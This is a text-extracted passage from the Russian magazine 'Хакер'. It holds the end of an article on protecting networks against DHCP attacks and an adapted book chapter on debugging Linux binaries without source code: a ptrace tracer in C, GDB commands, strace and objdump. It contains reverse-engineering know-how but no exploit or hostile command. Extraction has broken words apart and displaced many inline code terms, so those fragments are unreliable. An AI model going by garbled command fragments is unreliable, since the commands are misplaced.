Ethernet-кад ре зна чение MAC-адре са источни ка будет уни каль ным, то порт
мгно вен но перей дет в режим err-disable (пря мо как при Limit Rate), так
как будет наруше но соз данное нами пра вило запоми нания толь ко одно го раз -
решен ного MAC-адре са на пор те ком мутато ра.

DHCPDISCOVER

Мож но пос мотреть таб лицу, которую ведет ком мутатор, где отоб ражено соот -
ветс твие заучен ных MAC-адре сов на каж дом интерфей се.

Ис тощить DHCP-сер вер, изме няя MAC-адрес сетевой пла ты, не пред став ляет
тру да для зло умыш ленни ка. Да, дос таточ но дол го, но резуль татив но. А при
вклю чен ной защите пор та на ком мутато ре такая так тика будет обре чена
на про вал.

ÂÛÂÎÄÛ

Мо жет показать ся, что ата ки DHCP сегод ня не так акту аль ны. По моему мне -
нию, любая ата ка будет акту аль на при отсутс твии дол жно го вни мания к защите
сети, а тем более если сетевое обо рудо вание работа ет с нас трой ками
по умол чанию.

Опи сан ные в статье тех нологии защиты сети от атак на про токол DHCP
по отдель нос ти не ста новят ся неп реодо лимой сте ной для ата кующе го. Поэто -
му имен но их ком плексное при мене ние даст дол жную защиту DHCP.
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ВЗЛОМ

Ка кие инс тру мен ты исполь зовать в Linux для ревер са
бинар ных фай лов? В этой статье мы рас ска жем, как для
этих целей при менять PTrace и GDB, и покажем, как выг -
лядит работа с ними.

Отладка программ без исходников
Ре дак ция жур нала «Хакер» сов мес тно с  решило адап -
тировать под сов ремен ные реалии еще одну кни гу Кри са Кас пер ски — «Тех -
ника отладки прог рамм без исходных тек стов». Вре мя идет, и зна ния уста рева -
ют, но опи сан ные в кни ге тех нологии вос тре бован ны до сих пор. Мы акту али -
зиру ем све дения обо всех упо мина емых Кри сом прог рам мных про дук тах:
об опе раци онных сис темах, ком пилято рах, средс твах кодоко пания.

из датель ством БХВ

А самое глав ное, будет обновле на аппа рат ная плат форма с IA-
32 на AMD64: имен но этот переход в боль шей сте пени пов лиял на тран сфор -
мацию прог рам мно го обес печения. Что бы опти мизи ровать при ложе ние
для новой архи тек туры, нуж но исполь зовать новые воз можнос ти язы ка ассем -
бле ра и сов ремен ные коман ды под систе мы работы с памятью. Все эти нюан -
сы будут учте ны в обновлен ной вер сии изда ния.

ÎÑÎÁÅÍÍÎÑÒÈ ÎÒËÀÄÊÈ Â LINUX

Пер вое зна комс тво с GDB (что-то вро де  для MS-DOS, толь ко мощ -
нее) вызыва ет у пок лонни ков Windows смесь разоча рова ния с отвра щени ем,
а уве сис тая докумен тация вго няет в глу бокое уны ние, гра нича щее с суици дом.
Отов сюду тор чат рычаги управле ния, но нету газа и руля. Не хва тает толь ко
камен ных топоров и зве риных шкур. Как линук соиды ухит ряют ся выжить
в агрессив ной сре де это го пер вобыт ного мира — загад ка.

debug.com

Нес коль ко стро чек исходно го кода UNIX еще пом нят те древ ние вре мена,
ког да ничего похоже го на инте рак тивную отладку не сущес тво вало и единс -
твен ным средс твом борь бы с ошиб ками был ава рий ный дамп памяти. Прог -
раммис там при ходи лось месяца ми (!) пол зать по вороху рас печаток, собирая
рас сыпав ший ся код в строй ную кар тину. Чуть поз же появи лась отла доч ная
печать — опе рато ры вывода, понаты кан ные в клю чевых мес тах и рас печаты -
вающие содер жимое важ ней ших перемен ных. Если про исхо дит сбой, прос -
тыня рас печаток (в прос торечии — «пор тянка») поз воля ет уста новить, чем
занима лась прог рамма до это го и кто имен но ее так покоре жил.

От ладоч ная печать сох ранила свою акту аль ность и по сей день. В мире
Windows она в основном исполь зует ся лишь в отла доч ных вер сиях прог раммы
и уби рает ся из финаль ной, что не очень хорошо: ког да у конеч ных поль зовате -
лей про исхо дит сбой, в руках оста ется лишь ава рий ный дамп, на котором
далеко не уедешь. Сог ласен, отла доч ная печать куша ет ресур сы и отни мает
вре мя. Вот почему в UNIX так мно го сис тем управле ния про токо лиро вани ем —
от стан дар тно го syslog до прод винуто го . Они сок раща -
ют нак ладные рас ходы на вывод и жур налиро вание, зна читель но уве личи вая
ско рость выпол нения прог раммы.

Enterprise Event Logging

Вот неп равиль ный при мер исполь зования отла доч ной печати:

#ifdef __DEBUG__
       fprintf(logfile, "a = %x, b = %x, c = %x\n", a, b, c);

#endif

А вот — пра виль ный при мер исполь зования отла доч ной печати:

 if (__DEBUG__)
       fprintf(logfile, "a = %x, b = %x, c = %x\n", a, b, c);

От ладоч ная печать на 80% устра няет пот ребнос ти в отладке, ведь отладчик
исполь зует ся в основном для того, что бы опре делить, как ведет себя прог -
рамма в кон крет ном мес те: выпол няет ся условный переход или нет, что воз -
вра щает фун кция, какие зна чения содер жатся в перемен ных и т. д. Прос то вле -
пи сюда  и пос мотри на резуль тат!fprintf/syslog

Че ловек — не слу га компь юте ра! Это компь ютер при думан для авто мати -
зации челове чес кой деятель нос ти (в мире Windows — наобо рот), поэто му Linux
«механи зиру ет» поиск оши бок нас толь ко, нас коль ко это толь ко воз можно.
Вклю чи мак сималь ный режим пре дуп режде ний ком пилято ра или возь ми авто -
ном ные верифи като ры кода (так же извес тные как ста тичес кие ана лиза торы),
и баги побегут из прог раммы, как мыщъ хи с тонуще го кораб ля. Исто ричес ки
самый пер вый ста тичес кий ана лиза тор кода — LINT — дал имя всем его пос -
ледова телям — лин теры. Windows-ком пилято ры тоже могут генери ровать
сооб щения об ошиб ках, по стро гос ти не усту пающие GCC, но боль шинс тво
прог раммис тов про пус кает их. Куль тура прог рамми рова ния, блин!

Су щес тву ет мно жес тво лин теров, как ком мерчес ких, так и сво бод ных,
проп риетар ных и с откры тым исходным кодом. Нап ример, популяр ный ста -
тичес кий ана лиза тор кода  слу жит, как сле дует из наз вания, для ана -

лиза C/C++-кода. Рас простра няет ся в двух вари антах: с откры тыми исходни -
ками и как плат ный про дукт. Во вто ром слу чае он име ет пла гины для всех
мало-маль ски популяр ных сред прог рамми рова ния в Linux и Windows.
CppCheck отли чает ся уни каль ным спо собом ана лиза, что сво дит к миниму му
лож ные сра баты вания.

CppCheck

Что бы уста новить CppCheck в Ubuntu, дос таточ но ввес ти в кон соль коман -
ду

sudo apt-get install cppcheck

Те перь мож но про верять фай лы с кодом на наличие потен циаль ных оши бок.
Не мудрствуя лукаво, напишем код с глу пой ошиб кой:

  int main() {
       int *i = new int();
      char *c = (char*)malloc(sizeof(char));

}

За пус тим лин тер:

cppcheck second.cpp

CppCheck обна ружил две утеч ки памяти

Рас смот рим дру гой при мер:

cppcheck first.cpp

CppCheck обна ружил обра щение за пре делы мас сива

Ре комен дует ся про гонять код под нес коль кими лин терами, так как все они
работа ют по-раз ному, сле дова тель но, каж дый из них может обна ружить собс -
твен ный набор оши бок.

По шаго вое выпол нение прог раммы и кон троль ные точ ки оста нова в Linux
исполь зуют ся лишь в кли ничес ких слу чаях (типа тре пана ции черепа), ког да все
осталь ные средс тва ока зыва ются бес силь ными. Пок лонни кам Windows такой
под ход кажет ся несов ремен ным, ущер бным и жут ко неудоб ным, но это все
потому, что Windows-отладчи ки эффектив но реша ют проб лемы, которые
в Linux прос то не воз ника ют. Раз ница куль тур прог рамми рова ния меж ду
Windows и Linux в дей стви тель нос ти очень и очень зна читель на, поэто му преж -
де, чем кидать кам ни в чужой ого род, наведи порядок у себя. Неп ривыч ное
еще не озна чает неп равиль ное. Точ но такой же дис комфорт ощу щает матерый
линук соид, очу тив ший ся в Windows.

PTRACE — ÔÓÍÄÀÌÅÍÒ ÄËß GDB

GDB — это сис темно незави симый кросс-плат формен ный отладчик. Как и
боль шинс тво Linux-отладчи ков, он осно ван на биб лиоте ке PTrace, реали -
зующей низ коуров невые отла доч ные при мити вы. Для отладки мно гопо точ ных
про цес сов и парал лель ных при ложе ний рекомен дует ся исполь зовать допол -
нитель ные биб лиоте ки, пос коль ку GDB с мно гопо точ ностью справ ляет ся
не луч шим обра зом. Сре ди соф та для отладки мно гопо точ ных при ложе ний
осо бую популяр ность заво евал . Этот прог рам мный пакет исполь зует -
ся для отладки прог рамм на супер компь юте рах, посему он не по кар ману
прос тым смер тным.

TotalView

Внеш ний вид отладчи ка TotalView, спе циали зиру юще гося на парал лель ных
при ложе ниях

PTrace может перево дить про цесс в сос тояние оста нова и возоб новлять его
выпол нение, читать и записы вать дан ные в адресном прос транс тве отла жива -
емо го про цес са, читать и записы вать регис тры цен траль ного про цес сора.

На архи тек туре x86-64 это регис тры обще го наз начения, сег мен тные
регис тры (дос тавши еся ей по нас ледс тву), регис тры SSE и отла доч ные регис -
тры семей ства DRx (они нуж ны для орга низа ции аппа рат ных точек оста нова).
В Linux еще мож но манипу лиро вать слу жеб ными струк турами отла жива емо го
про цес са и отсле живать вызов сис темных фун кций. В «ори гиналь ном» UNIX
это го нет, и недос тающую фун кци ональ ность при ходит ся реали зовы вать уже
в отладчи ке.

Вот при мер исполь зования PTrace в Linux:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <errno.h>

 int main()
{
    int pid;        // PID отлаживаемого процесса
       int wait_val; // Сюда wait записывает
                    // возвращаемое значение
        long long counter = 1; // Счетчик трассируемых инструкций

// Расщепляем процесс на два
// Родитель будет отлаживать потомка
// (обработка ошибок для наглядности опущена)

   switch (pid = fork())
{
    case 0:         // Дочерний процесс (его отлаживают)

       // Папаша, ну-ка, потрассируй меня!
          ptrace(PTRACE_TRACEME, 0, 0, 0);

   // Вызываем программу, которую надо отрассировать
   // (для программ, упакованных шифрой, это не сработает)

         execl("/bin/ls", "ls", 0);
       break;

       default: // Родительский процесс (он отлаживает)

       // Ждем, пока отлаживаемый процесс
       // не перейдет в состояние останова
       wait(&wait_val);

   // Трассируем дочерний процесс, пока он не завершится
         while (WIFSTOPPED(wait_val) /* 1407 */)

       {
           // Выполнить следующую машинную инструкцию
           // и перейти в состояние останова

            if (ptrace(PTRACE_SINGLESTEP,
        pid, (caddr_t) 1, 0)) break;

           // Ждем, пока отлаживаемый процесс
           // не перейдет в состояние останова
           wait(&wait_val);

           // Увеличиваем счетчик выполненных
           // машинных инструкций на единицу
           counter++;
       }
   }
   // Вывод количества выполненных машинных инструкций на экран
    printf("== %lld\n", counter);

    return 0;

}

В резуль тате выпол нения это го при ложе ния на моей машине в кон соль
переда ется сле дующий вывод.

Вы вод при ложе ния ptrace_test

PTRACE È ÅÃÎ ÊÎÌÀÍÄÛ

В user-mode дос тупна все го лишь одна фун кция:

       ptrace((int _request, pid_t _pid, caddr_t _addr, int _data))

Но зато эта фун кция дела ет все! При желании ты можешь за пару часов
написать собс твен ный мини-отладчик, спе циаль но заточен ный под кон крет ную
проб лему.

Ар гумент  фун кции  важ ней ший из всех — он опре деля ет,

что мы будем делать. Заголо воч ные фай лы в BSD и Linux исполь зуют раз -
личные опре деле ния, зат рудняя перенос при ложе ний PTrace с одной плат -
формы на дру гую. По умол чанию мы будем исполь зовать опре деле ния
из заголо воч ных фай лов Linux.

_request ptrace

 — перево дит текущий про цесс в сос тояние оста нова.
Обыч но исполь зует ся сов мес тно с , хотя встре чают ся так же и самот -
расси рующиеся при ложе ния. Для каж дого из про цес сов вызов

 может быть сде лан лишь однажды. Трас сировать уже
трас сиру емый про цесс не получит ся (менее зна чимое следс твие — про -
цесс не может трас сировать сам себя, сна чала он дол жен рас щепить ся).
На этом осно вано боль шое количес тво анти отла доч ных при емов, для пре -
одо ления которых при ходит ся исполь зовать отладчи ки, работа ющие
в обход PTrace. Отла жива емо му про цес су посыла ется сиг нал, перево дящий
его в сос тояние оста нова, из которо го он может быть выведен коман дой

 или , выз ванной из кон тек ста
родитель ско го про цес са. Фун кция  задер жива ет управле ние материн -
ско го про цес са до тех пор, пока отла жива емый про цесс не перей дет в сос -
тояние оста нова или не завер шится (тог да она воз вра щает зна чение ).
Осталь ные аргу мен ты игно риру ются.

• PTRACE_TRACEME

fork

PTRACE_TRACEME

PTRACE_CONT PTRACE_SINGLESTEP

wait

1407

 — перево дит в сос тояние оста нова уже запущен ный про -
цесс с задан ным PID, при этом про цесс-отладчик ста новит ся его пред ком.
Осталь ные аргу мен ты игно риру ются. Про цесс дол жен иметь тот же самый
UID, что и отла жива ющий про цесс, и не быть про цес сом setuid/setduid (или
отла живать ся катало гом ).

• PTRACE_ATTACH

root

 — прек раща ет отладку про цес са с задан ным PID (как
по , так и по ) и возоб новля ет его нор -
маль ное выпол нение. Все осталь ные аргу мен ты игно риру ются.

• PTRACE_DETACH

PTRACE_ATTACH PTRACE_TRACEME

 — возоб новля ет выпол нение отла жива емо го про цес са
с задан ным PID без раз рыва свя зи с про цес сом-отладчи ком. Если 

, выпол нение про дол жает ся с мес та пос ледне го оста нова, в про тив ном
слу чае — с ука зан ного адре са. Аргу мент  зада ет номер сиг нала,
посыла емо го отла жива емо му про цес су (ноль — нет сиг налов).

• PTRACE_CONT

addr ==

0

_data

 — пошаго вое выпол нение про цес са с задан ным PID:
выпол нить сле дующую машин ную инс трук цию и перей ти в сос тояние оста -
нова (под x86-64 это дос тига ется взво дом фла га трас сиров ки, хотя некото -
рые хакер ские биб лиоте ки исполь зуют аппа рат ные точ ки оста нова). BSD
тре бует, что бы аргу мент  был равен 1, Linux хочет видеть здесь 0.
Осталь ные аргу мен ты игно риру ются.

• PTRACE_SINGLESTEP

addr

 — чте ние машин ного сло ва
из кодовой области и области дан ных адресно го прос транс тва отла жива -
емо го про цес са соот ветс твен но. На боль шинс тве сов ремен ных плат форм
обе коман ды пол ностью экви вален тны. Фун кция  при нима ет
целевой  и воз вра щает счи тан ный резуль тат.

• PTRACE_PEEKTEXT/PTRACE_PEEKDATA

ptrace

addr

) — запись машин ного сло ва,
передан ного в , по адре су .

• PTRACE_POKETEXT, PTRACE_POKEDATA

_data addr

) —
чте ние регис тров обще го наз начения, сег мен тных и отла доч ных регис тров
в область памяти про цес са-отладчи ка, задан ную ука зате лем .
Это сис темно-зависи мые коман ды, при емле мые толь ко для x86/x86-
64 плат формы. Опи сание регис тро вой струк туры содер жится в фай ле 

.

• PTRACE_GETREGS, PTRACE_GETFPREGS, PTRACE_GETFPXREGS

_addr

<

machine/reg.h>

 —
уста нов ка зна чения регис тров отла жива емо го про цес са путем копиро вания
содер жимого реги она памяти по ука зате лю .

• PTRACE_SETREGS, PTRACE_SETFPREGS, PTRACE_SETFPXREGS

_addr

 — посыла ет отла жива емо му про цес су сиг нал ,
который дела ет ему хараки ри.

• PTRACE_KILL sigkill

ÏÎÄÄÅÐÆÊÀ ÌÍÎÃÎÏÎÒÎ×ÍÎÑÒÈ Â GDB

Оп ределить, под держи вает ли твоя вер сия GDB мно гопо точ ность или нет,
мож но при помощи коман ды

info thread

Она выводит све дения о потоках, а для перек лючений меж ду потока ми исполь -
зуй сле дующую коман ду:

thread N

Под держи вает ся отладка мно гопо точ ных при ложе ний:

info threads
4 Thread 2051 (LWP 29448) RunEuler (lpvParam=0x80a67ac) at eu_
kern.cpp:633
3 Thread 1026 (LWP 29443) 0x4020ef14 in __libc_read () from /lib/
libc.so.6
* 2 Thread 2049 (LWP 29442) 0x40214260 in __poll (fds=0x80e0380, 
nfds=1, timeout=2000)
1 Thread 1024 (LWP 29441) 0x4017caea in __
sigsuspend (set=0xbffff11c)
(gdb) thread 4

Продолжение статьи →
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ОТЛАДКА ПРОГРАММ

БЕЗ ИСХОДНИКОВ
АНАЛИЗИРУЕМ ДВОИЧНЫЕ ФАЙЛЫ В LINUX

ШТАТНЫМИ СРЕДСТВАМИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÊÐÀÒÊÎÅ ÐÓÊÎÂÎÄÑÒÂÎ ÏÎ GDB

GDB — это кон соль ное при ложе ние, выпол ненное в клас сичес ком духе коман -
дной стро ки.

Внеш ний вид отладчи ка GDB

И хотя за вре мя сво его сущес тво вания GDB успел обрасти ворохом кра сивых
гра фичес ких морд (сре ди них DDD, Data Display Debugger, — ста рей ший
и самый популяр ный интерфейс), инте рак тивная отладка в сти ле WinDbg
в мире Linux край не непопу ляр на.

От ладчик DDD — гра фичес кий интерфейс к GDB

Как пра вило, это удел эмиг рантов с Windows-плат формы, соз нание которых
необ ратимо иска лече но иде оло гией «око шек». Гру бо говоря, если WinDbg —
сле сар ный инс тру мент, то GDB — токар ный ста нок с прог рам мным управле -
нием. Ког да-нибудь ты полюбишь его.

Для отладки на уров не исходных тек стов прог рамма дол жна быть откомпи -
лиро вана с отла доч ной информа цией. В GCC для это го нуж но добавить ключ 

. Если отла доч ная информа ция недос тупна, GDB будет отла живать прог рамму

на уров не дизас сем блер ных команд.

-
g

Обыч но имя отла жива емо го фай ла переда ется в коман дной стро ке:

gdb filename

Для отладки активно го про цес са ука жи в коман дной стро ке его ID, а для под -
клю чения коры (core dump) вос поль зуйся клю чом:

--core==corename

Все три парамет ра мож но заг ружать одновре мен но, попере мен но перек люча -
ясь меж ду ними коман дой target.

Пе рек люча емся на отла жива емый файл:

target exec

На при атта чен ный про цесс:

target child

Или на дамп коры:

target core

Не обя затель ный ключ  подав ляет вывод копирай та. Заг рузив прог рамму

в отладчик, мы дол жны уста новить точ ку оста нова. Для это го слу жит коман да
 (она же ).

-q

break b

b main

Эта коман да уста нав лива ет точ ку оста нова на фун кцию  язы ка C, а вот эта:main

b _start

на точ ку вхо да в ELF-файл (впро чем, в некото рых фай лах она называ ется
по-дру гому). Мож но уста новить точ ку оста нова и на про изволь ный адрес:

b *0x8048424

или

b *$eax

Ре гис тры пишут ся малень кими бук вами и пред варя ются зна ком дол лара. GDB
понима ет два «обще сис темных» регис тра:  — ука затель команд и  —

сте ковый ука затель. Толь ко пом ни, что непос редс твен но пос ле заг рузки прог -
раммы в отладчик никаких регис тров у нее еще нет, они появ ляют ся толь ко
пос ле запус ка отла жива емо го про цес са на выпол нение (коман да , она же

).

$pc $sp

run
r

От ладчик самос тоятель но реша ет, какую точ ку оста нова уста новить, прог -
рам мную или аппа рат ную, и луч ше ему не пре пятс тво вать (коман да при нуди -
тель ной уста нов ки аппа рат ной точ ки оста нова  работа ет не на всех вер -

сиях отладчи ка). Точ ки оста нова на дан ные в GDB называ ются точ ками наб -
людения — watch point. Перечис лю основные при емы работы с отладчи ком.

hbreak

1. Ко ман да  вызыва ет отладчик вся кий раз, ког да содер жимое
 изме няет ся, а  — при чте нии или записи в .

watch addr

addr awatch addr addr

2. Ко ман да  реаги рует толь ко на чте ние, но работа ет не во всех
вер сиях отладчи ка.

rwatch addr

3. Прос мотреть спи сок уста нов ленных точек оста нова и наб людения мож но
коман дой .info break

4. Ко ман да  уда ляет все точ ки оста нова.clear

5. Ко ман да  уда ляет все точ ки оста нова, уста нов ленные на дан -
ную фун кцию, адрес или номер стро ки.

clear addr

6. Ко ман ды  и  поз воля ют вре мен но вклю чать и отклю чать
точ ки оста нова. Точ ки оста нова под держи вают раз витый син таксис
условных команд, опи сание которо го мож но най ти в докумен тации.

enable disable

7. Ко ман да  возоб новля ет выпол нение прог раммы, прер -
ванное точ кой оста нова.

continue (c)

8. Ко ман да  выпол няет  сле дующих строк кода без вхо да,
а  сo вхо дом во вло жен ные фун кции. Если чис ло N
не задано, по умол чанию выпол няет ся одна стро ка.

next N (n N) N

step N (s N)

9. Ко ман ды  и  дела ют то же самое, но работа ют не со стро ками
исходно го тек ста, а с машин ными коман дами. Обыч но они исполь зуют ся
сов мес тно с коман дой , пред писыва ющей
отладчи ку отоб ражать текущую машин ную коман ду. Ее дос таточ но
вызывать один раз за сеанс.

nexti stepi

display/i $pc (x/i $pc)

10. Ко ман да  переда ет управле ние в про изволь ную точ ку прог -
раммы, а  вызыва ет фун кцию  с аргу мен тами!
Это го нет даже во мно гих Windows-отладчи ках. А как час то оно тре бует ся!

jump addr

call addr/fname fname

11. Дру гие полез ные коман ды:
 — про дол жать выпол нение до выхода из текущей фун кции;• finish

 — про дол жать выпол нение, пока ука зан ное
мес то не будет дос тигну то, при запус ке без аргу мен тов — оста новить
выпол нение при дос тижении сле дующей коман ды (акту аль но для цик -
лов!);

• until addr (u addr)

 — немед ленно вер нуть ся в дочер нюю фун кцию.• return

12. Ко ман да  выводит зна чение:print (p)

вы раже ния (нап ример, );• p 1+2

со дер жимого перемен ной ( );• p my_var

со дер жимого регис тра ( );• p $eax

ячей ки памяти ( ).• p *0x8048424, p *$eax

13. Ес ли необ ходимо вывес ти нес коль ко яче ек, вос поль зуйся коман дой 
, где  — количес тво выводи мых яче ек. Ста вить сим вол звез дочки

перед адре сом в этом слу чае не нуж но.

x/Nh

addr N

14. Ко ман да  выводит зна чение всех дос тупных
регис тров.

info registers (i r)

15. Мо дифи циру ет содер жимое яче ек памяти/регис тров коман да :set

 записы вает в регистр  ноль;• set $eax = 0 eax

 прис ваивает перемен ной  зна чение
регис тра ;

• set var my_var = $ecx my_var

ecx

 записы вает по бай товому
адре су  чис ло .

• set {unsigned char*}0x8048424=0xCC

0x8048424 0xCC

16. Ко ман да  выда ет содер жимое
памяти в виде дизас сем блер ного лис тинга, фор мат пред став ления которо -
го опре деля ется коман дой .

disassemble _addr_from _addr_to

set disassembly-flavor

17. Ко ман ды , ,  отоб ража ют содер -
жимое текуще го фрей ма сте ка, аргу мен ты фун кции и локаль ные перемен -
ные. Для перек лючения на фрейм материн ских фун кций слу жит коман да

. Коман да  дела ет то же самое, что и 
 в Windows-отладчи ках. При иссле дова нии дам пов коры она незаме -

нима.

info frame info args info local

frame N backtrace (bt) call

stack

Ко роче говоря, приб лизитель ный сеанс работы с GDB выг лядит так: гру зим
прог рамму в отладчик, отда ем ему коман ду , а если не сра бота ет, то 

, затем , пос ле чего отла жива ем прог рамму по шагам ( ),
при желании задав парамет ры ( ), что бы GDB показы вал, что у нас

выпол няет ся в дан ный момент. Выходим из отладчи ка по коман де .

Опи сание осталь ных команд ищи в докумен тации. Теперь по край ней мере ты
не заб лудишь ся в ней.

b main b
_start r n/s

x/i $pc
quit (q)

Еще есть гра фичес кий интерфейс , который запус кает ся внут ри бра -

узе ра.

gdbgui

Еще один гра фичес кий интерфейс к GDB, выпол няющий ся в веб-бра узе ре

Он пред став ляет собой сер верное при ложе ние, написан ное на Python, и уста -
нав лива ется через pip:

pip sudo install gdbgui --upgrade

На выпол нение он запус кает ся подоб но GDB:

gdbgui filename

Срав нение Linux-отладчи ков с Windows-отладчи ками показы вает зна читель ное
отста вание пос ледних и их неп рофес сиональ ную нап равлен ность. Трех мерные
кноп ки, мас шта биру емые икон ки, всплы вающие меню — все это, конеч но,
очень кра сиво, но в GDB про ще написать мак рос или исполь зовать уже
готовый (бла го все, что толь ко было мож но зап рограм мировать, здесь зап -
рограм мирова ли задол го до нас, поль зуйся — не хочу).

Меж ду тем отла доч ные средс тва в Linux не замыка ются на одном толь ко
GDB. Одна ко GDB с течени ем вре мени доказы вает свою исклю читель ность.
Как мы уви дели, GDB пок рыва ет все задачи отладки, и дру гого в Linux не надо.
Единс твен ное, чего ему недос тает, — нор маль ный ядер ный отладчик сис -
темно го уров ня, ори енти рован ный на работу с дво ичны ми фай лами без сим -
воль ной информа ции и исходных тек стов. Тяжелое детс тво и ски тание по мно -
жес тву плат форм наложи ло на UNIX мрач ный отпе чаток в виде стрем ления
к перено симос ти и кросс-плат формен ности. Какое там хакерс тво в таких усло -
виях! Впро чем, дос тупность исходных тек стов дела ет эту проб лему неак туаль -
ной.

ÒÐÀÑÑÈÐÎÂÊÀ ÑÈÑÒÅÌÍÛÕ ÔÓÍÊÖÈÉ

Пе рех ват сис темных фун кций — это нас тоящее окно во внут ренний мир
подопыт ной прог раммы, показы вающее име на вызыва емых фун кций, их аргу -
мен ты и коды воз вра та. Отсутс твие «лиш них» про верок на ошиб ки — болезнь
всех начина ющих прог раммис тов, и отладчик — не луч шее средс тво для их
поис ка. Вос поль зуем ся штат ной ути литой strace.

Вот про токол, получен ный с помощью strace. Смот ри, перед тем как уме -
реть, прог рамма откры вает файл , не находит его и, как следс -
твие, сбра сыва ет кору, впа дая в нир вану. Разуме ется, это прос тей ший слу чай,
но «пра вило десяти» гла сит, что девянос то про цен тов вре мени отладки ухо дит
на поиск оши бок, которые вооб ще недос той ны того, что бы их искать!

my_good_file

По иски бага с помощью strace выг лядят при мер но так:

__sysctl(0xbfbffb28,0x2,0x2805bce8,0xbfbffb24,0x0,0x0) = 0 (0x0)
mmap(0x0,32768,0x3,0x1002,-1,0x0)        = 671469568 (0x2805d000)
geteuid()                    = 0 (0x0)
getuid()                     = 0 (0x0)
getegid()                    = 0 (0x0)
getgid()                     = 0 (0x0)
open("/var/run/ld-elf.so.hints",0,00)    = 3 (0x3)
read(0x3,0xbfbffb08,0x80)            = 128 (0x80)
lseek(3,0x80,0)              = 128 (0x80)
read(0x3,0x28061000,0x4b)            = 75 (0x4b)
close(3)                     = 0 (0x0)
access("/usr/lib/libc.so.4",0)       = 0 (0x0)
open("/usr/lib/libc.so.4",0,027757775600)    = 3 (0x3)
fstat(3,0xbfbffb50)              = 0 (0x0)
read(0x3,0xbfbfeb20,0x1000)          = 4096 (0x1000)
mmap(0x0,626688,0x5,0x2,3,0x0)       = 671502336 (0x28065000)
mmap(0x280e5000,20480,0x3,0x12,3,0x7f000)    = 672026624 
(0x280e5000)
mmap(0x280ea000,81920,0x3,0x1012,-1,0x0)     = 672047104 
(0x280ea000)
close(3)                     = 0 (0x0)
sigaction(SIGILL,0xbfbffba8,0xbfbffb90)  = 0 (0x0)
sigprocmask(0x1,0x0,0x2805bc1c)      = 0 (0x0)
sigaction(SIGILL,0xbfbffb90,0x0)         = 0 (0x0)
sigprocmask(0x1,0x2805bbe0,0xbfbffbd0)   = 0 (0x0)
sigprocmask(0x3,0x2805bbf0,0x0)      = 0 (0x0)
open("my_good_file",0,0666)         ERR#2 'No such file 
or directory'
SIGNAL 11
SIGNAL 11
Process stopped because of: 16
process exit, rval = 139
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Штат ным дизас сем бле ром в Linux явля ется ути лита objdump. Ском пилиру ем
при мер HelloWorld:

#include <iostream>
 int main()

{
       std::cout << "Hello, world!" << std::endl;
    return 0;

}

Ис поль зуем для это го коман ду

g++ helloworld.cpp -o helloworld

И сра зу дизас сем бли руем исполня емый файл сле дующей коман дой, перенап -
равив вывод в файл, потому что он получит ся длин ным:

objdump -M intel -d helloworld > code.txt

В парамет ре  ука зыва ется архи тек тура, для которой обра баты вает ся файл.
Зна чени ями могут выс тупать кон крет ные архи тек туры ( , , )

или, как в дан ном слу чае, син таксис ассем бле ра — , . Вто рое зна -

чение опре деля ет син таксис AT&T. Параметр  ука зыва ет на то, что надо
дизас сем бли ровать весь файл.

-M
x86-64 i386 i8086

intel att
-d

По лучим такой дизас сем блер ный лис тинг (при веде но с сок ращени ями):

helloworld:     file format elf64-x86-64
…
Disassembly of section .text:
…
00000000000010c0 <_start>:
   10c0:   f3 0f 1e fa             endbr64
   10c4:   31 ed                   xor    ebp,ebp
   10c6:   49 89 d1                mov    r9,rdx
   10c9:   5e                      pop    rsi
   10ca:   48 89 e2                mov    rdx,rsp
   10cd:   48 83 e4 f0          and    rsp,0xfffffffffffffff0
   10d1:   50                      push   rax
   10d2:   54                      push   rsp
   10d3:   45 31 c0                xor    r8d,r8d
   10d6:   31 c9                   xor    ecx,ecx
   10d8: 48 8d 3d ca 00 00 00   lea   rdi,[rip+0xca]  # 11a9 <

main>
   10df:   ff 15 f3 2e 00 00    call   QWORD PTR [rip+0x2ef3]

# 3fd8 <__libc_start_main@GLIBC_2.34> — вызов main

   10e5:   f4                      hlt
   10e6:   66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
   10ed:   00 00 00

…
00000000000011a9 <main>:
   11a9:   f3 0f 1e fa             endbr64
   11ad:   55                      push   rbp
   11ae:   48 89 e5                mov    rbp,rsp
   11b1:   48 8d 05 4c 0e 00 00    lea    rax,[rip+0xe4c]

# 2004 <_IO_stdin_used+0x4>
   11b8:   48 89 c6                mov    rsi,rax
   11bb:   48 8d 05 7e 2e 00 00    lea    rax,[rip+0x2e7e]

# 4040 <_ZSt4cout@GLIBCXX_3.4>
   11c2:   48 89 c7                mov    rdi,rax
   11c5:   e8 c6 fe ff ff          call   1090

<_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
# Вывод строки «Hello, world!» на консоль…

   11ca:  48 8b 15 ff 2d 00 00     mov    rdx,QWORD 
PTR [rip+0x2dff]
#3fd0 <_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_
ES6_@GLIBCXX_3.4>
   11d1:   48 89 d6                mov    rsi,rdx
   11d4:   48 89 c7                mov    rdi,rax
   11d7:   e8 c4 fe ff ff      call   10a0 <_ZNSolsEPFRSoS_E@plt>

# …вслед за ней вывод символа конца строки

   11dc:   b8 00 00 00 00          mov    eax,0x0
   11e1:   5d                      pop    rbp
   11e2:   c3                      ret

Ис полня емый файл для Linux — ELF-файл — содер жит отличные от PE-фай ла
сек ции. Но сек ция с име нем  игра ет важ ную роль — содер жит исполня -

емый код. Обра ти вни мание: в выведен ном objdump дизас сем блер ном коде
роль сим вола начала ком мента рия игра ет решет ка — . Фун кция  под -

готав лива ет сре ду выпол нения перед вызовом . А в пос ледней про исхо -

дит под готов ка и вывод стро ки на экран. Меж ду тем objdump смог опре делить
имя единс твен ной фун кции — .

.text

# _start
main

main
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Что пред став ляет собой objdump? Вро де он неп лохо спра вил ся со сво ей
задачей. Но задача эта была самая эле мен тарная! Мы ее при вели лишь
для того, что бы оце нить спо соб ность дизас сем бле ра прев ращать нолики
и еди ницы в ассем блер ные инс трук ции. Тем не менее, если бы у нас была
прог рамма с условны ми перехо дами, цик лами и вызова ми фун кций, резуль -
тат бы не был нас толь ко иде аль ным!

А все потому, что objdump — линей ный дизас сем блер. Он прос то переби -
рает все сег менты кода в дво ичном фай ле, декоди руя и пре обра зуя их
